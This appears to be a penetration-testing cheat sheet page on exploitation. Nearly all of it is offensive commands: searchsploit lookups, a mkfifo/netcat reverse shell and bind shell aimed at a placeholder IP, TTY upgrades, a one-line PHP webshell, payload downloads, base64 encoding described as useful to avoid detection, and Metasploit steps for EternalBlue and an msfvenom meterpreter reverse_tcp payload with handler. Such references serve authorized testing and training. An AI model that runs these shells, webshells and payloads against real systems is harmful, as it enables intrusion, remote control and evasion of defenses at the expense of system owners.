← Go back

Exploitation

Public Exploits Description
searchsploit openssh 7.2 Search for public exploits in exploitdb. Try to search online too
searchsploit -m linux/remote/45233.py Get the PoC or exploit script
PayloadsAllTheThings
Hacktricks
Payloads & Shells Description
nc -lvnp 4444 Start a nc listener, verbose mode, DnS resolution disabled in a local port
nc <IP> 4444 Connect to a bind shell started on the remote server
Reverse shell cheat sheet
Bind shell cheat sheet
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> 4444 >/tmp/f (reverse)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 |nc -lvp 4444 >/tmp/f (bind)
Forward Shells
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows X columns Y
TTY upgrading
python -c 'import pty; pty.spawn("/bin/bash")' TTY upgrading (python)
echo "<?php system($_GET['cmd']);?>" > /var/www/html/shell.php Create a webshell php file
curl http://<IP>/shell.php?cmd=id Execute a command on an uploaded webshell
Transferring Files
python3 -m http.server 4444 Start a local webserver
wget http://<IP>:4444/linenum.sh Download a file on the remote server from our local machine
url http://<IP>:4444/linenum.sh -o linenum.sh Download a file on the remote server from our local machine
scp linenum.sh user@<IP>:/tmp/linenum.sh Transfer a file to the remote server with scp (requires SSH access with password)
base64 linenum.sh -w 0 Convert a file to base64, useful to avoid detection
echo f0VMR...SNIO...InmDwU | base64 -d > linenum.sh Convert a file from base64 back to its orig
md5sum shell Check the file's md5sum to ensure it converted correctly
MSF Description
msfconsole
msfdb run (recommended)
Start the Metasploit Framework
workspace -a <name> Workspace creation
workspace
workspace <name>
Display workspaces and change to the one specific workspace
search exploit eternalblue Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec Start using an MSF module
info
show options
show advanced options
Show info and required options for an MSF module
set RHOSTS <IP>
set LHOSTS <IP>
Set a value for an MSF module option
check Test if the target server is vulnerable (not supported in some exploits)
exploit Run the exploit on the target server.
sessions
sessions 1
Show sessions and session 1 selection
background Send current session to bg
msfvenom -p windows/meterpreter/reverse_tcp --platform windows LHOST=<IP> LPORT=<port> -f exe -o file.exe
msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <IP>
SET LPORT <port>
run
Exploits generation and listening port setting
← Go back